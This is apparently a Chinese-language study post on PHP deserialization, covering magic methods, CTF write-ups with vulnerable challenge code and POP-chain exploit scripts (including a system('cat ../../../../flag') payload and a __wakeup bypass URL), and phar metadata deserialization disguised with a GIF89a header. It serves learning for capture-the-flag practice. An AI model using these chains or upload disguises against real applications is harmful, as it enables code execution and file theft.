php 反序列化
前言
仅作留档。
php 反序列化
定义:序列化就是将对象转换成字符串。反序列化相反,数据的格式的转换对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。
漏洞原理:未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化的过程,从而导致代码执行,SQL 注入,目录遍历等不可控后果。在反序列化的过程中自动触发了某些魔术方法。当进行反序列化的时候就有可能会触发对象中的一些魔术方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
serialize() //将一个对象转换成要给字符串
unserialize() //将字符串还原成一个对象 触发: unserialize函数的变量可控,文件中存在可利用的类,类中有魔术方法
__toString() //方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时
__construct() //创建对象时触发
__destruct() //对象被销毁时触发
__wakeup() //在使用unserialize()时,会检查是否存在一个__wakeup()魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。
__call() //在对象上下文中调用不可访问的方法时触发
__invoke() //在脚本尝试将对象调用为函数时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
常用魔术方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
1、__get、__set
这两个方法是为在类和他们的父类中没有声明的属性而设计的
__get( $property ) 当调用一个未定义的属性时访问此方法
__set( $property, $value ) 给一个未定义的属性赋值时调用
这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
2、__isset、__unset
__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法
__unset( $property ) 当在一个未定义的属性上调用unset()函数时调用此方法
与__get方法和__set方法相同,这里的没有声明包括访问控制为proteced,private的属性(即没有权限访问的属性)
3、__call
__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法
4、__autoload
__autoload 函数,使用尚未被定义的类时自动调用。通过此函数,脚本引擎在 PHP 出错失败前有了最后一个机会加载所需的类。
注意: 在 __autoload 函数中抛出的异常不能被 catch 语句块捕获并导致致命错误。
5、__construct、__destruct
__construct 构造方法,当一个对象被创建时调用此方法,好处是可以使构造方法有一个独一无二的名称,无论它所在的类的名称是什么,这样你在改变类的名称时,就不需要改变构造方法的名称
__destruct 析构方法,PHP将在对象被销毁前(即从内存中清除前)调用这个方法
默认情况下,PHP仅仅释放对象属性所占用的内存并销毁对象相关的资源.,析构函数允许你在使用一个对象之后执行任意代码来清除内存,当PHP决定你的脚本不再与对象相关时,析构函数将被调用.
在一个函数的命名空间内,这会发生在函数return的时候,对于全局变量,这发生于脚本结束的时候,如果你想明确地销毁一个对象,你可以给指向该对象的变量分配任何其它值,通常将变量赋值勤为NULL或者调用unset。
6、__clone
PHP5中的对象赋值是使用的引用赋值,使用clone方法复制一个对象时,对象会自动调用__clone魔术方法,如果在对象复制需要执行某些初始化操作,可以在__clone方法实现。
7、__toString
__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时,如果类没有实现此方法,则无法通过echo打印对象,否则会显示:Catchable fatal error: Object of class test could not be converted to string in,此方法必须返回一个字符串。
在PHP 5.2.0之前,__toString方法只有结合使用echo() 或 print()时 才能生效。PHP 5.2.0之后,则可以在任何字符串环境生效(例如通过printf(),使用%s修饰符),但 不能用于非字符串环境(如使用%d修饰符)
从PHP 5.2.0,如果将一个未定义__toString方法的对象 转换为字符串,会报出一个E_RECOVERABLE_ERROR错误。
8、__sleep、__wakeup
__sleep 串行化的时候用
__wakeup 反串行化的时候调用
serialize() 检查类中是否有魔术名称 __sleep 的函数。如果这样,该函数将在任何序列化之前运行。它可以清除对象并应该返回一个包含有该对象中应被序列化的所有变量名的数组。
使用 __sleep 的目的是关闭对象可能具有的任何数据库连接,提交等待中的数据或进行类似的清除任务。此外,如果有非常大的对象而并不需要完全储存下来时此函数也很有用。
相反地,unserialize() 检查具有魔术名称 __wakeup 的函数的存在。如果存在,此函数可以重建对象可能具有的任何资源。使用 __wakeup 的目的是重建在序列化中可能丢失的任何数据库连接以及处理其它重新初始化的任务。
9、__set_state
当调用var_export()时,这个静态 方法会被调用(自PHP 5.1.0起有效)。本方法的唯一参数是一个数组,其中包含按array(’property’ => value, …)格式排列的类属性。
10、__invoke
当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。PHP5.3.0以上版本有效
11、__callStatic
它的工作方式类似于 __call() 魔术方法,__callStatic() 是为了处理静态方法调用,PHP5.3.0以上版本有效,PHP 确实加强了对 __callStatic() 方法的定义;它必须是公共的,并且必须被声明为静态的。
同样,__call() 魔术方法必须被定义为公共的,所有其他魔术方法都必须如此。
案例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class ABC{
public $test;
function __construct(){
$test =1;
echo '调用了构造函数<br>';
}
function __destruct(){
echo '调用了析构函数<br>';
}
function __wakeup(){
echo '调用了苏醒函数<br>';
}
}
echo '创建对象a<br>';
$a=new ABC();
echo '序列化<br>';
$a_ser=serialize($a);
echo '反序列化<br>';
$a_unser=unserialize($a_ser);
echo '对象快要死了!';
?>
要记忆的东西很多,记不住的话建议向上面那样开三个窗口对着看,或者多屏
[SWPUCTF 2021 新生赛] ez_unserialize
普通反序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>
解题
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="admin";
$this->passwd ="ctf";
}
}
$b = new wllm();
echo serialize($b);
?>
[SWPUCTF 2021 新生赛] no_wakeup
绕过 wakeup 魔术方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>
考点:__wakeup () 函数的绕过:当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 wakeup 的执行。因此,需要修改序列化字符串中的属性个数。
漏洞影响的版本: PHP5 < 5.6.25 PHP7 < 7.0.10
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin = "admin";
$this->passwd = "wllm";
}
}
$b = new HaHaHa();
echo serialize($b);
?>
输出如下:
1
2
O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
payload:http://1.14.71.254:28886/class.php?p=O:6:%22HaHaHa%22:3:{s:5:%22admin%22;s:5:%22admin%22;s:6:%22passwd%22;s:4:%22wllm%22;}
执行__toString () 魔术方法
1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
本地进行序列化
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
多个有类反序列化
[SWPUCTF 2021 新生赛] pop
1. 读源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
error_reporting(0);
show_source("index.php");
class w44m{
private $admin = 'aaa';
protected $passwd = '123456';
public function Getflag(){
if($this->admin === 'w44m' && $this->passwd ==='08067'){
include('flag.php');
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo 'nono';
}
}
}
class w22m{
public $w00m;
public function __destruct(){
echo $this->w00m;
}
}
class w33m{
public $w00m;
public $w22m;
public function __toString(){
$this->w00m->{$this->w22m}();
return 0;
}
}
$w00m = $_GET['w00m'];
unserialize($w00m);
?>
2. 寻找 pop 链
1
2
# 传参$w00m,直接反序列化,入口就在__destruct,或者_wakeup,这里的w22m符合条件,并且$w00m参数可控,echo触发__toString,__toString方法又当作函数执行,可以触发w44m里的Getflag函数从而输出flag。
# w22m.__destruct().w00m->w33m.__toString().w00m->w44m.Getflag()
3. 写 exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class w44m{
private $admin="w44m";
protected $passwd="08067";
}
class w22m{
public $w00m;
}
class w33m{
public $w00m;
public $w22m;
}
$a=new w22m();
$b=new w33m();
$c=new w44m();
$a->w00m=$b;
$b->w00m=$c;
$b->w22m='Getflag';
echo urlencode(serialize($a));
[SWPU NSS 新生赛] ez_1zpop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
<?php
error_reporting(0);
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt
{
public $impo='hi';
public $md51='weclome';
public $md52='to NSS';
function __construct()
{
$this->impo = new dxg;
}
function __wakeup()
{
$this->impo = new dxg;
return $this->impo->fmm();
}
function __toString()
{
if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
return $this->impo->fmm();
}
function __destruct()
{
echo $this;
}
}
class fin
{
public $a;
public $url = 'https://www.ctfer.vip';
public $title;
function fmm()
{
$b = $this->a;
$b($this->title);
}
}
if (isset($_GET['NSS'])) {
$Data = unserialize($_GET['NSS']);
} else {
highlight_file(__file__);
}
2. 找 pop 链,注意里面的细节
1
2
3
4
5
6
7
8
9
找一下魔术方法__wakeup,__toString,__destruct,想一下他们的触发方式。
__destruct() //对象被销毁时触发
__wakeup() //在使用unserialize()时,会检查是否存在一个__wakeup()魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源。
__toString() //方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时
再去读一下__wakeup()方法,因为这个方法是可能可以做入口的,发现里面代码执行的是fmm函数,而fmm函数返回的是dxg类里的"nonono",代表这题是要绕过__wakeup方法的,不让它执行。
再去看__destruct函数,里面执行的是echo语句,可以触发__tostring方法。
再去找一下出口,看到还有一个函数,是fin类里面的fmm函数,看fin类里面可以命令执行。现在思路就清晰了。
__destruct()->__toString()->fin.fmm();
3.exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
class dxg
{
function fmm()
{
return "nonono";
}
}
class lt{
public $impo;
public $md51='QNKCDZO';
public $md52='240610708';
}
class fin{
public $a="system";
public $url = 'https://www.ctfer.vip';
public $title="cat ../../../../flag";
}
$a=new dxg();
$nss=new lt();
$c=new fin();
$nss->impo=$c;
echo (serialize($nss));
NewStar 新生赛 UnserializeOne
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
2. 找 pop 链
1
2
3
4
5
6
7
8
9
10
11
12
先找魔术方法,__destruct,__isset,__toString,__invoke,__clone
__destruct() //对象被销毁时触发
__isset( $property ) 当在一个未定义的属性上调用isset()函数时调用此方法
__toString方法在将一个对象转化成字符串时自动调用,比如使用echo打印对象时
__invoke 当尝试以调用函数的方式调用一个对象时,__invoke 方法会被自动调用。
__clone 使用clone方法复制一个对象时,对象会自动调用__clone魔术方法
先看入口:__destruct方法,出口粗看一眼大概率就是__invoke,现在就是要构造一条从入口到出口的pop链。
__call( $method, $arg_array ) 当调用一个未定义(包括没有权限访问)的方法是调用此方法
寻找链条:
__destruct(Start)方法里有echo,触发__toString(Sec),toString里的check可以触发__call(Eazy),__call里面用了clone函数,触发了__clone(eeee)方法,调用了isset函数,isset函数又恰好调用了未定义属性cmd,触发了__isset()魔术方法,__isset(Start)里以函数的形式可以调用一个对象,只需要把一个对象赋值给$func变量就可以触发__invoke(Sec)方法了。
Start->__destruct 触发 Sec->__toString 触发 Easy->__call
触发 eeee->__clone 触发 Start->__isset 触发 Sec->invoke
3.exp (exp 写不出来,看了别人的自己复现出的,多看几遍)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
class Start{
public $name;
protected $func;
public function __construct(){
$this->func=new Sec(); //因为要触发invoke,invoke在Sec类里
}
}
class Sec{
private $obj;
public $var; //不是很理解为什么这里可以改成public
public function __construct(){
$this->obj = new Easy(); //触发 Easy->__call,call传两个参数,触发__clone是取决于var参数
}
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a=new Start();
$b=new Sec();
$c=new Easy();
$d=new eeee();
$a->name=$b; //可以触发 Sec->__toString,所以写这里
$d->obj=$a; //因为要触发 Start->__isset
$b->var=$d; //触发eeee->__clone
echo urlencode(serialize($d));//$d传参进去马上被反序列化,因为$d->obj=$a,所以直接触发Start->__destruct
//Start->__destruct 触发 Sec->__toString 触发 Easy->__call
//触发 eeee->__clone 触发 Start->__isset 触发 Sec->invoke
写个 demo 题试试水 (以后补充)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
<?php
//flag is in flag.php
error_reporting(0);
class Read {
public $var;
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
public function __invoke(){
$content = $this->file_get($this->var);
echo $content;
}
}
class Show
{
public $source;
public $str;
public function __construct($file='index.php')
{
$this->source = $file;
echo $this->source.'Welcome'."<br>";
}
public function __toString()
{
return $this->str['str']->source;
}
public function _show()
{
if(preg_match('/gopher|http|ftp|https|dict|\.\.|flag|file/i',$this->source)) {
die('hacker');
} else {
highlight_file($this->source);
}
}
public function __wakeup()
{
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test
{
public $p;
public function __construct()
{
$this->p = array();
}
public function __get($key)
{
$function = $this->p;
return $function();
}
}
if(isset($_GET['hello']))
{
unserialize($_GET['hello']);
}
else
{
$show = new Show('pop3.php');
$show->_show();
}
2. 找出魔术方法,构造 pop 链
phar 反序列化
phar 是一种 php 程序的一种打包文件,类似与 java 中的 jar 文件,无需解压,直接通过 phar:// 伪协议读取内容。
一个 phar 文件一般有四个部分:
1
2
3
4
5
6
7
1.stub:它是phar文件的文件头,格式为xxxxx<?php xxx; __HALT_COMPILER();?>,这种格式是固定的。前面的可以不管,但必须以__HALT_COMPILER();?>结尾。生成文件的后缀名为phar。这种格式就相当于gif图片中的GIF89a一样。没有这个格式就不会识别这是一个phar文件。
2.a manifest describing the contents:phar文件中被压缩的文件的一些信息,以及一些权限信息。其中Meta-data部分的信息会进行序列化并储存,这就是phar反序列化的精髓。我们可以把exp放在Meta-data内。
3.the file contents:这里放的是压缩文件的内容,这里的内容可以随便写
4.a signature for verifying Phar integrity 这是一个签名,在这里不用管。(签名就是对全文进行加密,为了防止文件内容丢失或者修改,如果签名进行解密与全文不匹配,就会拒绝解析。)
phar 伪协议
因为 phar 就是将多个文档压缩到一个文件当中,phar 文件中的 Mata-data 会进行序列化,在我们访问 phar 文件中的文档时,我们不需要对它进行解压。可以通过 phar:// 为协议对文件进行读取。当 phar 文件被解析时,Meta-data 中的数据就会被反序列化。
构造 phar 文件
在本地生成一个 phar 文件,并想使用 phar 类里面的方法,就必须 ** 将 php.ini 配置文件中的 phar.readonly 改为 0 或者 off(前面分号是注释,删掉)** 这个 phar 压缩文件并不是右键点击一键生成的,而是通过写脚本来生成这个 phar 文件的。
接下来在本地实验生成 phar 文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
class A{
public function __destruct(){
echo $this->name;
}
}
$a = new testobj();
$phar = new phar('test.phar');//对phar对象进行实例化,以便后续操作。
$phar -> startBuffering();//缓冲phar写操作(不用特别注意)
$phar -> setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");//设置stub,为固定格式
$phar -> setMetadata($a);//把我们的对象写进Metadata中,漏洞利用重点所在
$phar -> addFromString("test.txt","hello world!!");//写压缩文件的内容,这里没利用点,可以随便写
$phar -> stopBuffering();//停止缓冲
?>
在上传场景中,我们可以将 phar 伪造成其他格式的文件。识别 phar 文件只需添加这个文件头就可以了。那我们就可以添加别的文件头进行伪造了。例如 $phar->setStub ("GIF89a".""); 添加 gif 的文件头绕过上传机制。
运行完成会在当前目录生成一个文件 ---test.phar
可以看到,自己构造的 test 类被序列化了。再试一下能不能反序列化。
1
2
3
4
5
6
7
8
9
10
<?php
class test{
function __destruct()//对象在反序列化时自动触发
{
echo $this->str;//检验是否进行了反序列化
}
}
$filename = "phar://test.phar/test.txt";
echo(file_get_contents($filename));
?>
可以看到用 phar 伪协议能够正常读取,代表 Meta-data 中的数据能被正常反序列化。 php 一大部分的文件系统函数在通过 phar://
伪协议解析 phar 文件时,都会将 meta-data 进行反序列化,受影响的函数如下:
来个例题巩固一下
[CISCN2019 华北赛区 Day1 Web1] Dropbox
打开页面发现注册框和登录框,先试一下万能密码和 sql 注入。无果后直接注册登录,发现了文件上传的地方。尝试常见的文件上传绕过,经过一系列尝试,发现通过修改 mime 文件头能狗传上 php 文件,但是文件类型被改成了 jpg,代表不能利用,传不上马。然后发现了文件下载的按钮,尝试目录穿越,任意文件包含。果然存在,但没啥用,找了半天找不到 flag。
然后就想着把知道的文件的源码下载下来,首先是 download.php,发现不存在,可能文件在上传文件的父目录,尝试过后是../../ 在两级目录。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//download.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
if (!isset($_POST['filename'])) {
die();
}
include "class.php";
ini_set("open_basedir", getcwd() . ":/etc:/tmp");
chdir($_SESSION['sandbox']);
$file = new File();
$filename = (string) $_POST['filename'];
if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//index.php
<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>
<!DOCTYPE html>
<html>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>
<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>
<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>
<?php
include "class.php";
$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
//class.php
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User {
public $db;
public function __construct() {
global $db;
$this->db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>